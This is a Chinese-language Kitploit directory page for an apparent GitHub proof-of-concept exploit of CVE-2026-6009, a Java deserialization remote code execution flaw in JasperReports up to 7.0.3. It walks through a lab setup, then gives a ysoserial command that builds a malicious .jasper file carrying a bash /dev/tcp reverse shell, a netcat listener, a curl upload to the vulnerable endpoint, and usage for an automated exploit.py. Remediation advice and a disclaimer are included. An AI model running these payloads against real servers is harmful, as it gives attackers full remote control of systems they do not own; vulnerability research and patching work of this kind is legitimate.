Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/pumila03/cve-2026-6009
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育远程访问工具
GitHubpumila03/cve-2026-6009

CVE-2026-6009

针对 CVE-2026-6009 的自动化 PoC 漏洞利用工具,这是一个存在于 Jaspersoft Reports <=7.0.3 中的 Java 反序列化远程代码执行漏洞。通过 ysoserial 生成恶意的 .jasper 有效载荷,并通过文件上传端点传递反弹 shell。

查看仓库
13个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

⚠️ 免责声明: 本仓库仅用于教育目的和授权的安全测试。请勿对非您所有或未经您明确书面许可的系统使用。

CVE-2026-6009

概念验证

摘要

Jaspersoft report 库版本 <= 7.0.3 存在通过利用 Java 反序列化流程导致的 远程代码执行 (RCE) 漏洞。此漏洞允许攻击者在使用该版本库的系统上建立反向 shell 连接。

  • 库: Jaspersoft report
  • 受影响版本: <= 7.0.3
  • 漏洞类型: 通过 Java 反序列化实现 RCE
  • CVE-2026-6009
  • CVSS 评分: 8.7(高)
  • 日期: 2026-05-19

漏洞描述

为了传输数据,某些系统需要将对象转换为可传输的格式,这便是序列化。反序列化则是相反的操作。在 Java 中,存在漏洞的机制位于 ObjectInputStream.readObject(),该方法用于从输入流反序列化任何对象。由于 JRLoader.loadObject() 在 Jaspersoft 库中使用了此方法来读取 .jasper 文件报告,因此它成为了植入恶意代码的危险入口点。

仅使用 readObject() 并不足以触发代码。它只能作用于已知的可利用类。因此攻击者会利用已知的利用链(如 CommonCollection)来执行其载荷。

环境

为了进行概念验证 (PoC),我在一台 Parrot 机器上搭建了一个实验室环境,该环境包含一个使用 Jaspersoft Report 库的 Java Web 服务器:

操作系统: Parrot OS 7 GNU/Linux 框架: Spring Boot 版本 2.7.18 依赖: Jasperreports 版本 7.0.3 环境: Java 11 编译器: Maven

存在漏洞的代码示例:

root@kitploit:~
@PostMapping("/upload-report")
    public String uploadReport(@RequestParam("file") MultipartFile file) {
        try {
            InputStream is = file.getInputStream();

            // JRLoader 内部调用了 ObjectInputStream.readObject()
            JasperReport report = (JasperReport) JRLoader.loadObject(is);
            ...

重现步骤

  1. 分析

第一步,一旦发现目标系统使用了存在漏洞的 Jasperreport 版本,您需要找到目标系统将接收 jasper 文件的具体位置。

在本环境中,该位置为 http://localhost:8080/upload-report。

  1. 检查漏洞

接着,您需要找到一种方法来发现目标系统中哪些类可用于作为利用链。您也可以尝试几个利用链,观察哪个能触发系统。

在白盒测试场景下,我们可以自行查找这些信息:

root@kitploit:~
mvn dependency:tree | grep -i "commons\|spring\|groovy\|beanshell"

我们发现系统使用了 CommonsCollections。

  1. 生成载荷

针对 CommonsCollections,您可以使用 ysoserial 脚本 来生成所需的载荷。此处以反向 shell 为例:

root@kitploit:~
java -jar ysoserial.jar CommonsCollections5 "/bin/bash -i >& /dev/tcp/源IP/端口 0>&1" > file.jasper

您可能需要测试多个版本的 CommonsCollections 才能成功执行载荷。

  1. 准备利用

为了建立反向 shell 连接,我们需要在一个端口上监听,以接收由载荷发起的来自目标系统的连接:

root@kitploit:~
nc -lnvp 4444
  1. 利用

最后,您只需将生成的载荷发送到之前找到的位置,并检查您的端口以确认目标系统已建立连接:

root@kitploit:~
curl -X POST http://localhost:8080/upload-report -F "[email protected]"

影响

有权访问该端点的攻击者可以以服务器权限执行任意代码,从而可能导致系统完全沦陷。

修复建议

  • 将 JasperReports 更新至 7.0.4 或更高版本。
  • 切勿反序列化来自未知来源的 .jasper 文件。
  • 对授权类实施白名单机制。

脚本

描述

exploit.py 是一个自动化脚本,用于复现 CVE-2026-6009 漏洞的利用。

用法

root@kitploit:~
python3 exploit.py -t TARGET -s IP_SOURCE -p PORT
python3 exploit.py -t http://localhost:8080/upload-report -s 192.168.1.1 -p 4444

选项

标志描述
-t, --target上传 .jasper 文件的位置
-s, --source您的 IP 地址
-p, --port您希望反向 shell 连接的端口
下载工具